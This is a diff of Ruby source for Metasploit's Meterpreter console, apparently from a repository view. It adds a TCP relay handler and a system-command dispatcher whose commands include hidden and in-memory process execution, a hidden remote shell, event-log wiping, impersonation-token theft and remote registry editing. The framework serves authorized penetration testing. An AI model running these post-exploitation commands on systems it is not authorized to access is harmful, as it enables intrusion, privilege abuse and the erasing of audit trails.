print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
|
|
229
|
+
|
|
230
|
+
# Delete local port forwards
|
|
231
|
+
when "delete"
|
|
232
|
+
|
|
233
|
+
# No local port, no love.
|
|
234
|
+
if (!lport)
|
|
235
|
+
print_error("You must supply a local port.")
|
|
236
|
+
return
|
|
237
|
+
end
|
|
238
|
+
|
|
239
|
+
# Stop the service
|
|
240
|
+
if (service.stop_tcp_relay(lport, lhost))
|
|
241
|
+
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
|
242
|
+
else
|
|
243
|
+
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
|
244
|
+
end
|
|
245
|
+
|
|
246
|
+
end
|
|
247
|
+
end
|
|
248
|
+
|
|
249
|
+
protected
|
|
250
|
+
|
|
251
|
+
#
|
|
252
|
+
# Creates a TCP channel using the supplied relay context.
|
|
253
|
+
#
|
|
254
|
+
def create_tcp_channel(relay)
|
|
255
|
+
client.net.socket.create(
|
|
256
|
+
Rex::Socket::Parameters.new(
|
|
257
|
+
'PeerHost' => relay.opts['PeerHost'],
|
|
258
|
+
'PeerPort' => relay.opts['PeerPort'],
|
|
259
|
+
'Proto' => 'tcp'
|
|
260
|
+
)
|
|
261
|
+
)
|
|
262
|
+
end
|
|
263
|
+
|
|
264
|
+
end
|
|
265
|
+
|
|
266
|
+
end
|
|
267
|
+
end
|
|
268
|
+
end
|
|
269
|
+
end
|
|
270
|
+
|
|
@@ -0,0 +1,484 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Ui
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# The system level portion of the standard API extension.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
class Console::CommandDispatcher::Stdapi::Sys
|
|
14
|
+
|
|
15
|
+
Klass = Console::CommandDispatcher::Stdapi::Sys
|
|
16
|
+
|
|
17
|
+
include Console::CommandDispatcher
|
|
18
|
+
|
|
19
|
+
#
|
|
20
|
+
# Options used by the 'execute' command.
|
|
21
|
+
#
|
|
22
|
+
@@execute_opts = Rex::Parser::Arguments.new(
|
|
23
|
+
"-a" => [ true, "The arguments to pass to the command." ],
|
|
24
|
+
"-c" => [ false, "Channelized I/O (required for interaction)." ],
|
|
25
|
+
"-f" => [ true, "The executable command to run." ],
|
|
26
|
+
"-h" => [ false, "Help menu." ],
|
|
27
|
+
"-H" => [ false, "Create the process hidden from view." ],
|
|
28
|
+
"-i" => [ false, "Interact with the process after creating it." ],
|
|
29
|
+
"-m" => [ false, "Execute from memory." ],
|
|
30
|
+
"-d" => [ true, "The 'dummy' executable to launch when using -m." ],
|
|
31
|
+
"-t" => [ false, "Execute process with currently impersonated thread token"],
|
|
32
|
+
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
|
|
33
|
+
"-s" => [ true, "Execute process in a given session as the session user" ])
|
|
34
|
+
|
|
35
|
+
#
|
|
36
|
+
# Options used by the 'reg' command.
|
|
37
|
+
#
|
|
38
|
+
@@reg_opts = Rex::Parser::Arguments.new(
|
|
39
|
+
"-d" => [ true, "The data to store in the registry value." ],
|
|
40
|
+
"-h" => [ true, "Help menu." ],
|
|
41
|
+
"-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
|
|
42
|
+
"-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
|
|
43
|
+
"-v" => [ true, "The registry value name (E.g. Stuff)." ])
|
|
44
|
+
|
|
45
|
+
#
|
|
46
|
+
# List of supported commands.
|
|
47
|
+
#
|
|
48
|
+
def commands
|
|
49
|
+
{
|
|
50
|
+
"clearev" => "Clear the event log",
|
|
51
|
+
"execute" => "Execute a command",
|
|
52
|
+
"getpid" => "Get the current process identifier",
|
|
53
|
+
"getuid" => "Get the user that the server is running as",
|
|
54
|
+
"getprivs" => "Get as many privileges as possible",
|
|
55
|
+
"kill" => "Terminate a process",
|
|
56
|
+
"ps" => "List running processes",
|
|
57
|
+
"reboot" => "Reboots the remote computer",
|
|
58
|
+
"reg" => "Modify and interact with the remote registry",
|
|
59
|
+
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
|
60
|
+
"sysinfo" => "Gets information about the remote system, such as OS",
|
|
61
|
+
"shell" => "Drop into a system command shell",
|
|
62
|
+
"shutdown" => "Shuts down the remote computer",
|
|
63
|
+
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
|
64
|
+
"drop_token" => "Relinquishes any active impersonation token.",
|
|
65
|
+
}
|
|
66
|
+
end
|
|
67
|
+
|
|
68
|
+
#
|
|
69
|
+
# Name for this dispatcher.
|
|
70
|
+
#
|
|
71
|
+
def name
|
|
72
|
+
"Stdapi: System"
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
#
|
|
76
|
+
# Executes a command with some options.
|
|
77
|
+
#
|
|
78
|
+
def cmd_execute(*args)
|
|
79
|
+
if (args.length == 0)
|
|
80
|
+
args.unshift("-h")
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
session = nil
|
|
84
|
+
interact = false
|
|
85
|
+
desktop = false
|
|
86
|
+
channelized = nil
|
|
87
|
+
hidden = nil
|
|
88
|
+
from_mem = false
|
|
89
|
+
dummy_exec = "cmd"
|
|
90
|
+
cmd_args = nil
|
|
91
|
+
cmd_exec = nil
|
|
92
|
+
use_thread_token = false
|
|
93
|
+
|
|
94
|
+
@@execute_opts.parse(args) { |opt, idx, val|
|
|
95
|
+
case opt
|
|
96
|
+
when "-a"
|
|
97
|
+
cmd_args = val
|
|
98
|
+
when "-c"
|
|
99
|
+
channelized = true
|
|
100
|
+
when "-f"
|
|
101
|
+
cmd_exec = val
|
|
102
|
+
when "-H"
|
|
103
|
+
hidden = true
|
|
104
|
+
when "-m"
|
|
105
|
+
from_mem = true
|
|
106
|
+
when "-d"
|
|
107
|
+
dummy_exec = val
|
|
108
|
+
when "-k"
|
|
109
|
+
desktop = true
|
|
110
|
+
when "-h"
|
|
111
|
+
print(
|
|
112
|
+
"Usage: execute -f file [options]\n\n" +
|
|
113
|
+
"Executes a command on the remote machine.\n" +
|
|
114
|
+
@@execute_opts.usage)
|
|
115
|
+
return true
|
|
116
|
+
when "-i"
|
|
117
|
+
channelized = true
|
|
118
|
+
interact = true
|
|
119
|
+
when "-t"
|
|
120
|
+
use_thread_token = true
|
|
121
|
+
when "-s"
|
|
122
|
+
session = val.to_i
|
|
123
|
+
end
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
# Did we at least get an executable?
|
|
127
|
+
if (cmd_exec == nil)
|
|
128
|
+
print_error("You must specify an executable file with -f")
|
|
129
|
+
return true
|
|
130
|
+
end
|
|
131
|
+
|
|
132
|
+
# Execute it
|
|
133
|
+
p = client.sys.process.execute(cmd_exec, cmd_args,
|
|
134
|
+
'Channelized' => channelized,
|
|
135
|
+
'Desktop' => desktop,
|
|
136
|
+
'Session' => session,
|
|
137
|
+
'Hidden' => hidden,
|
|
138
|
+
'InMemory' => (from_mem) ? dummy_exec : nil,
|
|
139
|
+
'UseThreadToken' => use_thread_token)
|
|
140
|
+
|
|
141
|
+
print_line("Process #{p.pid} created.")
|
|
142
|
+
print_line("Channel #{p.channel.cid} created.") if (p.channel)
|
|
143
|
+
|
|
144
|
+
if (interact and p.channel)
|
|
145
|
+
shell.interact_with_channel(p.channel)
|
|
146
|
+
end
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
#
|
|
151
|
+
# Drop into a system shell as specified by %COMSPEC%
|
|
152
|
+
#
|
|
153
|
+
def cmd_shell(*args)
|
|
154
|
+
path = client.fs.file.expand_path("%COMSPEC%")
|
|
155
|
+
path = (path and not path.empty?) ? path : "cmd.exe"
|
|
156
|
+
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
|
|
157
|
+
end
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
#
|
|
161
|
+
# Gets the process identifier that meterpreter is running in on the remote
|
|
162
|
+
# machine.
|
|
163
|
+
#
|
|
164
|
+
def cmd_getpid(*args)
|
|
165
|
+
print_line("Current pid: #{client.sys.process.getpid}")
|
|
166
|
+
|
|
167
|
+
return true
|
|
168
|
+
end
|
|
169
|
+
|
|
170
|
+
#
|
|
171
|
+
# Displays the user that the server is running as.
|
|
172
|
+
#
|
|
173
|
+
def cmd_getuid(*args)
|
|
174
|
+
print_line("Server username: #{client.sys.config.getuid}")
|
|
175
|
+
end
|
|
176
|
+
|
|
177
|
+
#
|
|
178
|
+
# Clears the event log
|
|
179
|
+
#
|
|
180
|
+
def cmd_clearev(*args)
|
|
181
|
+
|
|
182
|
+
logs = ['Application', 'System', 'Security']
|
|
183
|
+
logs << args
|
|
184
|
+
logs.flatten!
|
|
185
|
+
|
|
186
|
+
logs.each do |name|
|
|
187
|
+
log = client.sys.eventlog.open(name)
|
|
188
|
+
print_status("Wiping #{log.length} records from #{name}...")
|
|
189
|
+
log.clear
|
|
190
|
+
end
|
|
191
|
+
end
|
|
192
|
+
|
|
193
|
+
#
|
|
194
|
+
# Kills one or more processes.
|
|
195
|
+
#
|
|
196
|
+
def cmd_kill(*args)
|
|
197
|
+
if (args.length == 0)
|
|
198
|
+
print_line(
|
|
199
|
+
"Usage: kill pid1 pid2 pid3 ...\n\n" +
|
|
200
|
+
"Terminate one or more processes.")
|
|
201
|
+
return true
|
|
202
|
+
end
|
|
203
|
+
|
|
204
|
+
print_line("Killing: #{args.join(", ")}")
|
|
205
|
+
|
|
206
|
+
client.sys.process.kill(*(args.map { |x| x.to_i }))
|
|
207
|
+
|
|
208
|
+
return true
|
|
209
|
+
end
|
|
210
|
+
|
|
211
|
+
#
|
|
212
|
+
# Lists running processes.
|
|
213
|
+
#
|
|
214
|
+
def cmd_ps(*args)
|
|
215
|
+
processes = client.sys.process.get_processes
|
|
216
|
+
tbl = Rex::Ui::Text::Table.new(
|
|
217
|
+
'Header' => "Process list",
|
|
218
|
+
'Indent' => 1,
|
|
219
|
+
'Columns' =>
|
|
220
|
+
[
|
|
221
|
+
"PID",
|
|
222
|
+
"Name",
|
|
223
|
+
"Arch",
|
|
224
|
+
"Session",
|
|
225
|
+
"User",
|
|
226
|
+
"Path"
|
|
227
|
+
])
|
|
228
|
+
|
|
229
|
+
processes.each { |ent|
|
|
230
|
+
|
|
231
|
+
session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s
|
|
232
|
+
arch = ent['arch']
|
|
233
|
+
|
|
234
|
+
# for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64'
|
|
235
|
+
if( arch == ARCH_X86_64 )
|
|
236
|
+
arch = "x64"
|
|
237
|
+
end
|
|
238
|
+
|
|
239
|
+
tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ]
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
if (processes.length == 0)
|
|
243
|
+
print_line("No running processes were found.")
|
|
244
|
+
else
|
|
245
|
+
print("\n" + tbl.to_s + "\n")
|
|
246
|
+
end
|
|
247
|
+
|
|
248
|
+
return true
|
|
249
|
+
end
|
|
250
|
+
|
|
251
|
+
#
|
|
252
|
+
# Reboots the remote computer.
|
|
253
|
+
#
|
|
254
|
+
def cmd_reboot(*args)
|
|
255
|
+
print_line("Rebooting...")
|
|
256
|
+
|
|
257
|
+
client.sys.power.reboot
|
|
258
|
+
end
|
|
259
|
+
|
|
260
|
+
#
|
|
261
|
+
# Modifies and otherwise interacts with the registry on the remote computer
|
|
262
|
+
# by allowing the client to enumerate, open, modify, and delete registry
|
|
263
|
+
# keys and values.
|
|
264
|
+
#
|
|
265
|
+
def cmd_reg(*args)
|
|
266
|
+
# Extract the command, if any
|
|
267
|
+
cmd = args.shift
|
|
268
|
+
|
|
269
|
+
if (args.length == 0)
|
|
270
|
+
args.unshift("-h")
|
|
271
|
+
end
|
|
272
|
+
|
|
273
|
+
# Initiailze vars
|
|
274
|
+
key = nil
|
|
275
|
+
value = nil
|
|
276
|
+
data = nil
|
|
277
|
+
type = nil
|
|
278
|
+
|
|
279
|
+
@@reg_opts.parse(args) { |opt, idx, val|
|
|
280
|
+
case opt
|
|
281
|
+
when "-h"
|
|
282
|
+
print_line(
|
|
283
|
+
"Usage: reg [command] [options]\n\n" +
|
|
284
|
+
"Interact with the target machine's registry.\n" +
|
|
285
|
+
@@reg_opts.usage +
|
|
286
|
+
"COMMANDS:\n\n" +
|
|
287
|
+
" enumkey Enumerate the supplied registry key [-k <key>]\n" +
|
|
288
|
+
" createkey Create the supplied registry key [-k <key>]\n" +
|
|
289
|
+
" deletekey Delete the supplied registry key [-k <key>]\n" +
|
|
290
|
+
" queryclass Queries the class of the supplied key [-k <key>]\n" +
|
|
291
|
+
" setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
|
|
292
|
+
" deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
|
|
293
|
+
" queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
|
|
294
|
+
return false
|
|
295
|
+
when "-k"
|
|
296
|
+
key = val
|
|
297
|
+
when "-v"
|
|
298
|
+
value = val
|
|
299
|
+
when "-t"
|
|
300
|
+
type = val
|
|
301
|
+
when "-d"
|
|
302
|
+
data = val
|
|
303
|
+
end
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
# All commands require a key.
|
|
307
|
+
if (key == nil)
|
|
308
|
+
print_error("You must specify a key path (-k)")
|
|
309
|
+
return false
|
|
310
|
+
end
|
|
311
|
+
|
|
312
|
+
# Split the key into its parts
|
|
313
|
+
root_key, base_key = client.sys.registry.splitkey(key)
|
|
314
|
+
|
|
315
|
+
begin
|
|
316
|
+
# Rock it
|
|
317
|
+
case cmd
|
|
318
|
+
when "enumkey"
|
|
319
|
+
open_key = client.sys.registry.open_key(root_key, base_key)
|
|
320
|
+
|
|
321
|
+
print_line(
|
|
322
|
+
"Enumerating: #{key}\n")
|
|
323
|
+
|
|
324
|
+
keys = open_key.enum_key
|
|
325
|
+
vals = open_key.enum_value
|
|
326
|
+
|
|
327
|
+
if (keys.length > 0)
|
|
328
|
+
print_line(" Keys (#{keys.length}):\n")
|
|
329
|
+
|
|
330
|
+
keys.each { |subkey|
|
|
331
|
+
print_line("\t#{subkey}")
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
print_line
|
|
335
|
+
end
|
|
336
|
+
|
|
337
|
+
if (vals.length > 0)
|
|
338
|
+
print_line(" Values (#{vals.length}):\n")
|
|
339
|
+
|
|
340
|
+
vals.each { |val|
|
|
341
|
+
print_line("\t#{val.name}")
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
print_line
|
|
345
|
+
end
|
|
346
|
+
|
|
347
|
+
if (vals.length == 0 and keys.length == 0)
|
|
348
|
+
print_line("No children.")
|
|
349
|
+
end
|
|
350
|
+
|
|
351
|
+
when "createkey"
|
|
352
|
+
open_key = client.sys.registry.create_key(root_key, base_key)
|
|
353
|
+
|
|
354
|
+
print_line("Successfully created key: #{key}")
|
|
355
|
+
|
|
356
|
+
when "deletekey"
|
|
357
|
+
client.sys.registry.delete_key(root_key, base_key)
|
|
358
|
+
|
|
359
|
+
print_line("Successfully deleted key: #{key}")
|
|
360
|
+
|
|
361
|
+
when "setval"
|
|
362
|
+
if (value == nil or data == nil)
|
|
363
|
+
print_error("You must specify both a value name and data (-v, -d).")
|
|
364
|
+
return false
|
|
365
|
+
end
|
|
366
|
+
|
|
367
|
+
type = "REG_SZ" if (type == nil)
|
|
368
|
+
|
|
369
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
370
|
+
|
|
371
|
+
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
372
|
+
|
|
373
|
+
print_line("Successful set #{value}.")
|
|
374
|
+
|
|
375
|
+
when "deleteval"
|
|
376
|
+
if (value == nil)
|
|
377
|
+
print_error("You must specify a value name (-v).")
|
|
378
|
+
return false
|
|
379
|
+
end
|
|
380
|
+
|
|
381
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
382
|
+
|
|
383
|
+
open_key.delete_value(value)
|
|
384
|
+
|
|
385
|
+
print_line("Successfully deleted #{value}.")
|
|
386
|
+
|
|
387
|
+
when "queryval"
|
|
388
|
+
if (value == nil)
|
|
389
|
+
print_error("You must specify a value name (-v).")
|
|
390
|
+
return false
|
|
391
|
+
end
|
|
392
|
+
|
|
393
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
394
|
+
|
|
395
|
+
v = open_key.query_value(value)
|
|
396
|
+
|
|
397
|
+
print(
|
|
398
|
+
"Key: #{key}\n" +
|
|
399
|
+
"Name: #{v.name}\n" +
|
|
400
|
+
"Type: #{v.type_to_s}\n" +
|
|
401
|
+
"Data: #{v.data}\n")
|
|
402
|
+
|
|
403
|
+
when "queryclass"
|
|
404
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
405
|
+
|
|
406
|
+
data = open_key.query_class
|
|
407
|
+
|
|
408
|
+
print("Data: #{data}\n")
|
|
409
|
+
else
|
|
410
|
+
print_error("Invalid command supplied: #{cmd}")
|
|
411
|
+
end
|
|
412
|
+
ensure
|
|
413
|
+
open_key.close if (open_key)
|
|
414
|
+
end
|
|
415
|
+
end
|
|
416
|
+
|
|
417
|
+
#
|
|
418
|
+
# Calls RevertToSelf() on the remote machine.
|
|
419
|
+
#
|
|
420
|
+
def cmd_rev2self(*args)
|
|
421
|
+
client.sys.config.revert_to_self
|
|
422
|
+
end
|
|
423
|
+
|
|
424
|
+
#
|
|
425
|
+
# Obtains as many privileges as possible on the target machine.
|
|
426
|
+
#
|
|
427
|
+
def cmd_getprivs(*args)
|
|
428
|
+
print_line("=" * 60)
|
|
429
|
+
print_line("Enabled Process Privileges")
|
|
430
|
+
print_line("=" * 60)
|
|
431
|
+
client.sys.config.getprivs.each do |priv|
|
|
432
|
+
print_line(" #{priv}")
|
|
433
|
+
end
|
|
434
|
+
print_line("")
|
|
435
|
+
end
|
|
436
|
+
|
|
437
|
+
#
|
|
438
|
+
# Tries to steal the primary token from the target process.
|
|
439
|
+
#
|
|
440
|
+
def cmd_steal_token(*args)
|
|
441
|
+
if(args.length != 1 or args[0] == "-h")
|
|
442
|
+
print_error("Usage: steal_token [pid]")
|
|
443
|
+
return
|
|
444
|
+
end
|
|
445
|
+
print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
|
|
446
|
+
end
|
|
447
|
+
|
|
448
|
+
#
|
|
449
|
+
# Drops any assumed token.
|
|
450
|
+
#
|
|
451
|
+
def cmd_drop_token(*args)
|
|
452
|
+
print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
|
|
453
|
+
end
|
|
454
|
+
|
|
455
|
+
#
|
|
456
|
+
# Displays information about the remote system.
|
|
457
|
+
#
|
|
458
|
+
def cmd_sysinfo(*args)
|
|
459
|
+
info = client.sys.config.sysinfo
|
|
460
|
+
|
|
461
|
+
print_line("Computer: " + info['Computer'])
|
|
462
|
+
print_line("OS : " + info['OS'])
|
|
463
|
+
print_line("Arch : " + info['Architecture'])
|
|
464
|
+
print_line("Language: " + info['System Language'])
|
|
465
|
+
|
|
466
|
+
return true
|
|
467
|
+
end
|
|
468
|
+
|
|
469
|
+
#
|
|
470
|
+
# Shuts down the remote computer.
|
|
471
|
+
#
|
|
472
|
+
def cmd_shutdown(*args)
|
|
473
|
+
print_line("Shutting down...")
|
|
474
|
+
|
|
475
|
+
client.sys.power.shutdown
|
|
476
|
+
end
|
|
477
|
+
|
|
478
|
+
end
|
|
479
|
+
|
|
480
|
+
end
|
|
481
|
+
end
|
|
482
|
+
end
|
|
483
|
+
end
|
|
484
|
+
|